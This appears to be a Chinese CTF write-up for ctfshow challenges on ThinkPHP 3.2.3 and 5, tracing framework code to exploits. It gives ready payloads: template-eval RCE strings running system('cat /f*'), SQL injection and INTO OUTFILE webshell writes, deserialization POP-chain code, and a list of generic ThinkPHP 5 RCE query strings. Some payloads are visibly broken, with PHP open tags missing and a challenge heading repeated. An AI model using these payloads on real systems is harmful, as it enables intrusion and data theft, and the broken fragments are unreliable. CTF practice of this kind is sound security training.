看一下thinkphp3.2.3官方手册,看完就都懂了:
ThinkPHP3.2.3完全开发手册
首先就是路由的方式:
http://serverName/index.php/模块/控制器/操作
此外就是默认是不区分大小写的,由'URL_CASE_INSENSITIVE' => true,
这个配置决定。
URL模式的话,默认是PATHINFO模式,即本题考察的模式。
直接访问即可:
/index.php/admin/login/ctfshowlogin
下载源码,在Common/Conf/config.php里面发现定义了一个路由,而且是闭包路由:
'URL_ROUTE_RULES' => array(
'ctfshow/:f/:a' =>function($f,$a){
call_user_func($f, $a);
}
)
可以这样:
/index.php/ctfshow/system/ls
但是会发现$a
那里不能再有/
,反正我没有找到好的办法来ls /
。因此就考虑最原始的办法,回调后门:
接下来是我审计错误的地方,大家可以直接跳过到再再再下面正确的分析
说有控制器的后门,找了一下,Home模块下的index控制器的index方法
public function index($n=''){
$this->show(' CTFshow
thinkphp 专项训练
hello,'.$n.'黑客建立了控制器后门,你能找到吗
','utf-8');
}
传$n
,会进入show函数。查了一下,查到了这个:
有点怪,讲道理就是模板渲染,对Html进行渲染,不知道为什么还能命令执行,跟进源码看一下。
前面的跟进就省略了,最终就是在这里,载入缓存文件:
$_filename
就是缓存文件,会include,看一下缓存文件的内容:
if (!defined('THINK_PATH')) exit();?><style type="text/css">*{
padding: 0; margin: 0; } div{
padding: 4px 48px;} body{
background: #fff; font-family: "微软雅黑"; color: #333;font-size:24px} h1{ font-size: 100px; font-weight: normal; margin-bottom: 12px; } p{ line-height: 1.8em; font-size: 36px } a,a:hover{color:blue;} CTFshow
thinkphp 专项训练
hello,黑客建立了控制器后门,你能找到吗
if (!defined('THINK_PATH')) exit();?>
这里是不能成立的,因此我们写入的php代码在缓存文件里执行了,而php有这个include缓存文件的机制,导致可以rce。
/index.php/home/index/index?n= system("cat /f*");?>
正确的分析:
正确的分析:
正确的分析:
进入show函数:
protected function show($content,$charset='',$contentType='',$prefix='') {
$this->view->display('',$charset,$contentType,$content,$prefix);
}
再跟进display函数,关键的就是这里得到模板渲染的内容,看看是怎么处理的:
进入fetch函数之后,这里是关键点:
// 页面缓存
ob_start();
ob_implicit_flush(0);
if('php' == strtolower(C('TMPL_ENGINE_TYPE'))) {
// 使用PHP原生模板
$_content = $content;
// 模板阵列变量分解成为独立变量
extract($this->tVar, EXTR_OVERWRITE);
// 直接载入PHP模板
empty($_content)?include $templateFile:eval('?>'.$_content);
}else{
// 视图解析标签
$params = array('var'=>$this->tVar,'file'=>$templateFile,'content'=>$content,'prefix'=>$prefix);
Hook::listen('view_parse',$params);
}
上面的分析之所以是错的,就是因为我是拿本地来分析的,我本地的TMPL_ENGINE_TYPE
是Think,因此会进入else,而题目的环境是php,因此直接进入if,这里$content
就是我们传入的?n,然后就是:
eval('?>'.$_content);
所以可以直接命令执行。
web573
此题需要使用爆破来获得关键信息,非扫描,爆破次数不会超过365次,否则均为无效操作
查一下,查到这个:
访问一下/Application/,提示403,说明确实可以访问到这个目录,bp爆一下:
rce即可:
/index.php?showctf= system("cat /f*");?>
本地看一下这个日志,记录的是所有的访问和报错情况:
通过这个就可以知道一些能利用的方法,就像本地一样,$showctf
应该就类似于上一题那样,也是一个模板渲染的rce。
web573
以前审过了,参考文章:
thinkphp3.2.3 SQL注入漏洞复现
?id[where]=id=-1 union select 1,group_concat(flag4s),3,4 from flags
web574
public function index($id=1){
$name = M('Users')->where('id='.$id)->find();
$this->show($html);
}
按之前审的打不行,这里的where里面的不是array了是字符串,之前复现的都是array,因此在本地再审一遍。
大致看了一遍,具体的就不分析了,本来以为where里面是字符串能比较特殊的,结果就是在$whereStr
外卖加了一层括号,类似where (id=1)
这样,直接闭合括号然后注释,注入即可。
?id=-1) union select 1,group_concat(flag4s),3,4 from flags%23
web575
public function index($id){
$user= unserialize(base64_decode(cookie('user')));
if(!$user) echo "no";
if(!$user || $user->id!==$id){
$user = M('Users');
$user->find(intval($id));
cookie('user',base64_encode(serialize($user->data())));
}
$this->show($user->username);
}
非预期
群主的本意是找一条反序列化链,但是有一个问题就是,$user
是我们可控的,而这里$this->show($user->username);
存在上面那个模板渲染的rce,因此随便反序列化类就行了。
题目设定的cookie是这样:
a:4:{
s:2:"id";s:1:"2";s:8:"username";s:5:"user2";s:8:"password";s:5:"user2";s:6:"secret";N;}
这里改username的话还是不行,因为这是数组,这里不能成功:
$user->id!==$id
用类就行了,随便找个类,我这里懒,就直接用IndexController
这个类了:
namespace Home\Controller{
class IndexController{
public $id = "1";
public $username = "";
}
}
namespace {
use Home\Controller\IndexController;
echo base64_encode(serialize(new IndexController()));
}
预期解
肯定就是那个thiniphp3.2.3的那个反序列化链子了:
ThinkPHP v3.2.* (SQL注入&文件读取)反序列化POP链
去复现跟着审了一遍,感觉作者确实牛逼。我自己构造的POC跟文章里的差不多,只不过没文章里的简便:
namespace Think\Image\Driver{
use Think\Session\Driver\Memcache;
class Imagick
{
private $img;
public function __construct()
{
$this->img = new Memcache();
}
}
}
namespace Think\Session\Driver{
use Think\Model;
class Memcache
{
protected $handle;
public function __construct(){
$this->handle = new Model();
}
}
}
namespace Think {
use Think\Db\Driver\Mysql;
class Model
{
protected $pk;
protected $db;
protected $data;
public function __construct(){
$this->pk = 'id';
$this->data[$this->pk] = array(
'where'=>'1=1',
'table'=>'Users where 1=updatexml(1,concat(0x7e,database(),0x7e),1)#'
);
$this->db = new Mysql();
}
}
}
namespace Think\Db\Driver{
use PDO;
class Mysql
{
protected $config = array(
'type' => 'mysql', // 数据库类型
'hostname' => '127.0.0.1', // 服务器地址
'database' => 'ctfshow', // 数据库名
'username' => 'root', // 用户名
'password' => 'root', // 密码
'hostport' => '3306', // 端口
'dsn' => '', //
'params' => array(), // 数据库连接参数
'charset' => 'utf8', // 数据库编码默认采用utf8
'prefix' => '', // 数据库表前缀
'debug' => true, // 数据库调试模式
'deploy' => 0, // 数据库部署方式:0 集中式(单一服务器),1 分布式(主从服务器)
'rw_separate' => false, // 数据库读写是否分离 主从式有效
'master_num' => 1, // 读写分离后 主服务器数量
'slave_no' => '', // 指定从服务器序号
'db_like_fields' => '',
);
protected $options = array(
PDO::ATTR_CASE => PDO::CASE_LOWER,
PDO::ATTR_ERRMODE => PDO::ERRMODE_EXCEPTION,
PDO::ATTR_ORACLE_NULLS => PDO::NULL_NATURAL,
PDO::ATTR_STRINGIFY_FETCHES => false,
PDO::MYSQL_ATTR_LOCAL_INFILE => true, //读取本地文件~
PDO::MYSQL_ATTR_MULTI_STATEMENTS => true, //把堆叠开了~
);
}
}
namespace {
echo base64_encode(serialize(new \Think\Image\Driver\Imagick()));
}
先读/var/www/html/Application/Common/Conf/config.php
,读到数据库用户名和密码,root,root:
然后直接堆叠注入写shell,上面PDO加上了PDO::MYSQL_ATTR_MULTI_STATEMENTS => true, //把堆叠开了~
就可以堆叠了。注意数据库改成ctfshow_users
,然后写:
$this->data[$this->pk] = array(
'where'=>'1=1',
'table'=>'ctfshow_users where 1=2;select "" into outfile "/var/www/html/2.php"#'
);
web576
考点:thinkphp3.2.3的 注释注入。
$user = M('Users')->comment($id)->find(intval($id));
看一下comment方法:
/**
* 查询注释
* @access public
* @param string $comment 注释
* @return Model
*/
public function comment($comment)
{
$this->options['comment'] = $comment;
return $this;
}
给$options
加上comment,之前接触的都是它的where键,comment没见过,不知道是干啥的。继续跟进一下。中间的我就不放了,自己本地审一下源码。最终是这里,依次是where,limit等部分解析,然后拼接进sql语句的函数:
/**
* comment分析
* @access protected
* @param string $comment
* @return string
*/
protected function parseComment($comment) {
return !empty($comment)? ' /* '.$comment.' */':'';
}
相当于最后拼接的是/* $comment */
,前面是where id= xxx limit 1
,因此直接闭合前后面的注释,然后注入即可。
但是注入遇到了一点问题,一开始想着直接union注入:?id=-1*/ union select 1,2,3,4/*
,发现报错了,本地试试发现爆Incorrect usage of UNION and LIMIT
。
查了一下,需要这样:
两个查询都要套上一层括号才行:
因为前面没法套括号,所以没法联合注入。想了一下,考虑到这是在limit的部分了:
SELECT
[ALL | DISTINCT | DISTINCTROW ]
[HIGH_PRIORITY]
[STRAIGHT_JOIN]
[SQL_SMALL_RESULT] [SQL_BIG_RESULT] [SQL_BUFFER_RESULT]
[SQL_CACHE | SQL_NO_CACHE] [SQL_CALC_FOUND_ROWS]
select_expr [, select_expr ...]
[FROM table_references
[WHERE where_condition]
[GROUP BY {col_name | expr | position}
[ASC | DESC], ... [WITH ROLLUP]]
[HAVING where_condition]
[ORDER BY {col_name | expr | position}
[ASC | DESC], ...]
[LIMIT {
[offset,] row_count | row_count OFFSET offset}]
[PROCEDURE procedure_name(argument_list)]
[INTO OUTFILE 'file_name' export_options
| INTO DUMPFILE 'file_name'
| INTO var_name [, var_name]]
[FOR UPDATE | LOCK IN SHARE MODE]]
SELECT ... INTO OUTFILE 'file_name'
[CHARACTER SET charset_name]
[export_options]
export_options:
[{
FIELDS | COLUMNS}
[TERMINATED BY 'string']//分隔符
[[OPTIONALLY] ENCLOSED BY 'char']
[ESCAPED BY 'char']
]
[LINES
[STARTING BY 'string']
[TERMINATED BY 'string']
]
“OPTION”参数为可选参数选项,其可能的取值有:
`FIELDS TERMINATED BY '字符串'`:设置字符串为字段之间的分隔符,可以为单个或多个字符。默认值是“\t”。
`FIELDS ENCLOSED BY '字符'`:设置字符来括住字段的值,只能为单个字符。默认情况下不使用任何符号。
`FIELDS OPTIONALLY ENCLOSED BY '字符'`:设置字符来括住CHAR、VARCHAR和TEXT等字符型字段。默认情况下不使用任何符号。
`FIELDS ESCAPED BY '字符'`:设置转义字符,只能为单个字符。默认值为“\”。
`LINES STARTING BY '字符串'`:设置每行数据开头的字符,可以为单个或多个字符。默认情况下不使用任何字符。
`LINES TERMINATED BY '字符串'`:设置每行数据结尾的字符,可以为单个或多个字符。默认值是“\n”。
联想到以前遇到的这个东西,所以直接写马即可:
?id=1*/ into outfile "/var/www/html/3.php" LINES STARTING BY ''/*
web577
之前审过了,直接打:
?id[0]=exp&id[1]==-1 union select 1,group_concat(flag4s),3,4 from flags
之前审计
web578
public function index($name='',$from='ctfshow'){
$this->assign($name,$from);
$this->display('index');
}
同样是模板渲染的问题,我之前也审过了,只不过当时审的是tp5的模板渲染中出现的变量覆盖导致的文件包含,这题是3.2.3,看一下3.2.3里面的是什么样的。
此外关于这个配置:
我本地的默认是Think,因此本地审的时候是按这个来审,在本地打通了但是在题目那里打不通,后来又把中间过程看了一遍,中间有个关于这个判断的if,我怀疑题目用的是php原生模板,而不是think,因此按原生的模板审个rce,果然在题目那里打通了。因此的话,我之前的关于show的模板渲染的rce应该也说错了,当时那个的思路也是按think审的,我回头再改一下。
首先是$this->assign($name,$from);
,就是让$this->tVar[$name] = $from
:
display函数跟进去,在这里获得模板内容,继续跟进:
然后就是最关键的地方:
// 页面缓存
ob_start();
ob_implicit_flush(0);
if('php' == strtolower(C('TMPL_ENGINE_TYPE'))) {
// 使用PHP原生模板
$_content = $content;
// 模板阵列变量分解成为独立变量
extract($this->tVar, EXTR_OVERWRITE);
// 直接载入PHP模板
empty($_content)?include $templateFile:eval('?>'.$_content);
}else{
// 视图解析标签
$params = array('var'=>$this->tVar,'file'=>$templateFile,'content'=>$content,'prefix'=>$prefix);
Hook::listen('view_parse',$params);
}
这里判断用哪个模板引擎,题目环境的是php了,因此进入if,然后是变量覆盖和命令执行:
extract($this->tVar, EXTR_OVERWRITE);
// 直接载入PHP模板
empty($_content)?include $templateFile:eval('?>'.$_content);
因此直接覆盖掉$_content
变量,命令执行即可:
?name=_content&from= system("cat /fl*")?>
如果是Think模板引擎的话,这里就不作分析了,可以本地自己复现,最终的话是这里:
非常眼熟的地方,没错,就是之前show那个后门那里,如果模板引擎是Think的话,这里把$_filename
覆盖掉就可以任意文件包含了。中间具体的过程不再分析。
web579
开始thinkphp5了。接下来的就不说了。。。tp5和tp6的90%以上的洞我以前都本地复现过,审了一遍,写了分析文件,所以接下来的tp5就是自己抄自己了。
未开启强制路由RCE,以前的分析文章:
以前的分析文章
不过不建议看我的,我的只是分析之后做一下总结,具体的还是参考百度查到的文章。
大致这些:
?s=index/think\Request/input&filter=system&data=dir
?s=index/think\Request/input&filter[]=system&data=pwd
?s=index/think\view\driver\Php/display&content= phpinfo();?>
?s=index/think\template\driver\file/write&cacheFile=shell.php&content= phpinfo();?>
?s=index/think\Container/invokefunction&function=call_user_func&vars[]=system&vars[]=dir
?s=index/think\Container/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id
?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id
找了几个发现本地不行,又继续找到了一个能打了,直接打就行。